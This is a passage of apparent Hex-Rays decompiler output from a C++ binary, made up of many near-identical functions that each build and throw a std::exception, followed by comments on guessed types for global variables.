dword_2131C0; //----- (0000000000005A2A) ---------------------------------------------------- void __noreturn sub_5A2A() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131C4: using guessed type int dword_2131C4; //----- (0000000000005AB2) ---------------------------------------------------- void __noreturn sub_5AB2() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C4: using guessed type int dword_2131C4; // 2131D0: using guessed type int dword_2131D0; // 2131D4: using guessed type int dword_2131D4; //----- (0000000000005B58) ---------------------------------------------------- void __noreturn sub_5B58() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131CC: using guessed type int dword_2131CC; // 2131D4: using guessed type int dword_2131D4; //----- (0000000000005C54) ---------------------------------------------------- void __noreturn sub_5C54() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131CC: using guessed type int dword_2131CC; // 2131D0: using guessed type int dword_2131D0; // 2131D4: using guessed type int dword_2131D4; //----- (0000000000005CFA) ---------------------------------------------------- void __noreturn sub_5CFA() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C0: using guessed type int dword_2131C0; // 2131D0: using guessed type int dword_2131D0; // 2131D4: using guessed type int dword_2131D4; //----- (0000000000005DA0) ---------------------------------------------------- void __noreturn sub_5DA0() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C4: using guessed type int dword_2131C4; // 2131D0: using guessed type int dword_2131D0; // 2131D4: using guessed type int dword_2131D4; //----- (0000000000005E46) ---------------------------------------------------- void __noreturn sub_5E46() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C4: using guessed type int dword_2131C4; // 2131D4: using guessed type int dword_2131D4; //----- (0000000000005F42) ---------------------------------------------------- void __noreturn sub_5F42() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131CC: using guessed type int dword_2131CC; //----- (0000000000005FCA) ---------------------------------------------------- void __noreturn sub_5FCA() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C4: using guessed type int dword_2131C4; // 2131D4: using guessed type int dword_2131D4; //----- (00000000000060C6) ---------------------------------------------------- void __noreturn sub_60C6() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131C8: using guessed type int dword_2131C8; //----- (000000000000614E) ---------------------------------------------------- void __noreturn sub_614E() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131CC: using guessed type int dword_2131CC; // 2131D4: using guessed type int dword_2131D4; //----- (000000000000624A) ---------------------------------------------------- void __noreturn sub_624A() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131B8: using guessed type __int64 qword_2131B8; // 2131C0: using guessed type int dword_2131C0; //----- (00000000000062D4) ---------------------------------------------------- void __noreturn sub_62D4() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131CC: using guessed type int dword_2131CC; //----- (000000000000635C) ---------------------------------------------------- void __noreturn sub_635C() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131C8: using guessed type int dword_2131C8; //----- (00000000000063E4) ---------------------------------------------------- void __noreturn sub_63E4() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131C8: using guessed type int dword_2131C8; //----- (000000000000646C) ---------------------------------------------------- void __noreturn sub_646C() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C0: using guessed type int dword_2131C0; // 2131D0: using guessed type int dword_2131D0; // 2131D4: using guessed type int dword_2131D4; //----- (000000000000650E) ---------------------------------------------------- void __noreturn sub_650E() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C0: using guessed type int dword_2131C0; // 2131D0: using guessed type int dword_2131D0; //----- (000000000000660A) ---------------------------------------------------- void __noreturn sub_660A() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C4: using guessed type int dword_2131C4; // 2131D0: using guessed type int dword_2131D0; // 2131D4: using guessed type int dword_2131D4; //----- (00000000000066B2) ---------------------------------------------------- void __noreturn sub_66B2() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131B0: using guessed type __int64 qword_2131B0; // 2131CC: using guessed type int dword_2131CC; //----- (000000000000673C) ---------------------------------------------------- void __noreturn sub_673C() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C8: using guessed type int dword_2131C8; // 2131D0: using guessed type int dword_2131D0; //----- (0000000000006838) ---------------------------------------------------- void __noreturn sub_6838() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131C4: using guessed type int dword_2131C4; //----- (00000000000068C0) ---------------------------------------------------- void __noreturn sub_68C0() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); //----- (0000000000006982) ---------------------------------------------------- void __noreturn sub_6982() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131A8: using guessed type __int64 qword_2131A8; // 2131C8: using guessed type int dword_2131C8; //----- (0000000000006A46) ---------------------------------------------------- void __noreturn sub_6A46() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C8: using guessed type int dword_2131C8; // 2131D0: using guessed type int dword_2131D0; // 2131D4: using guessed type int dword_2131D4; //----- (0000000000006AE8) ---------------------------------------------------- void __noreturn sub_6AE8() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131B8: using guessed type __int64 qword_2131B8; // 2131C0: using guessed type int dword_2131C0; //----- (0000000000006B72) ---------------------------------------------------- void __noreturn sub_6B72() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131C4: using guessed type int dword_2131C4; //----- (0000000000006BFA) ---------------------------------------------------- void __noreturn sub_6BFA() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131C0: using guessed type int dword_2131C0; //----- (0000000000006C82) ---------------------------------------------------- void __noreturn sub_6C82() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131CC: using guessed type int dword_2131CC; //----- (0000000000006D0A) ---------------------------------------------------- void __noreturn sub_6D0A() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131CC: using guessed type int dword_2131CC; //----- (0000000000006D92) ---------------------------------------------------- void __noreturn sub_6D92() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C0: using guessed type int dword_2131C0; // 2131D0: using guessed type int dword_2131D0; // 2131D4: using guessed type int dword_2131D4; //----- (0000000000006E34) ---------------------------------------------------- void __noreturn sub_6E34() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C8: using guessed type int dword_2131C8; // 2131D0: using guessed type int dword_2131D0; //----- (0000000000006F30) ---------------------------------------------------- void __noreturn sub_6F30() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C8: using guessed type int dword_2131C8; // 2131D0: using guessed type int dword_2131D0; //----- (000000000000702C) ---------------------------------------------------- void __noreturn sub_702C() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131CC: using guessed type int dword_2131CC; //----- (00000000000070B4) ---------------------------------------------------- void __noreturn sub_70B4() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C8: using guessed type int dword_2131C8; // 2131D0: using guessed type int dword_2131D0; //----- (00000000000071B0) ---------------------------------------------------- void __noreturn sub_71B0() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C0: using guessed type int dword_2131C0; // 2131D0: using guessed type int dword_2131D0; //----- (00000000000072AC) ---------------------------------------------------- void __noreturn sub_72AC() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C8: using guessed type int dword_2131C8; // 2131D0: using guessed type int dword_2131D0; //----- (00000000000073A8) ---------------------------------------------------- void __noreturn sub_73A8() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131B0: using guessed type __int64 qword_2131B0; // 2131CC: using guessed type int dword_2131CC; //----- (0000000000007432) ---------------------------------------------------- void __noreturn sub_7432() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131B0: using guessed type __int64 qword_2131B0; // 2131CC: using guessed type int dword_2131CC; //----- (00000000000074BC) ---------------------------------------------------- void __noreturn sub_74BC() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C4: using guessed type int dword_2131C4; // 2131D4: using guessed type int dword_2131D4; //----- (00000000000075B8) ---------------------------------------------------- void __noreturn sub_75B8() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131CC: using guessed type int dword_2131CC; // 2131D4: using guessed type int dword_2131D4; //----- (00000000000076B4) ---------------------------------------------------- void __noreturn sub_76B4() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131C0: using guessed type int dword_2131C0; //----- (000000000000773C) ---------------------------------------------------- void __noreturn sub_773C() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131B0: using guessed type __int64 qword_2131B0; // 2131C8: using guessed type int dword_2131C8; //----- (00000000000077C6) ---------------------------------------------------- void __noreturn sub_77C6() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C4: using guessed type int dword_2131C4; // 2131D0: using guessed type int dword_2131D0; // 2131D4: using guessed type int dword_2131D4; //----- (000000000000786C) ---------------------------------------------------- void __noreturn sub_786C() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131B0: using guessed type __int64 qword_2131B0; // 2131C8: using guessed type int dword_2131C8; //----- (00000000000078F6) ---------------------------------------------------- void __noreturn sub_78F6() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); //----- (0000000000007970) ---------------------------------------------------- void __noreturn sub_7970() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C0: using guessed type int dword_2131C0; // 2131D0: using guessed type int dword_2131D0; // 2131D4: using guessed type int dword_2131D4; //----- (0000000000007A12) ---------------------------------------------------- void __noreturn sub_7A12() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131B8: using guessed type __int64 qword_2131B8; // 2131C4: using guessed type int dword_2131C4; //----- (0000000000007A98) ---------------------------------------------------- void __noreturn sub_7A98() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131B0: using guessed type __int64 qword_2131B0; // 2131C8: using guessed type int dword_2131C8; //----- (0000000000007B1E) ---------------------------------------------------- void __noreturn sub_7B1E() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131B8: using guessed type __int64 qword_2131B8; // 2131C0: using guessed type int dword_2131C0; //----- (0000000000007BA8) ---------------------------------------------------- void __noreturn sub_7BA8() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C4: using guessed type int dword_2131C4; // 2131D4: using guessed type int dword_2131D4; //----- (0000000000007CA4) ---------------------------------------------------- void __noreturn sub_7CA4() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131C4: using guessed type int dword_2131C4; //----- (0000000000007D2C) ---------------------------------------------------- void __noreturn sub_7D2C() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type 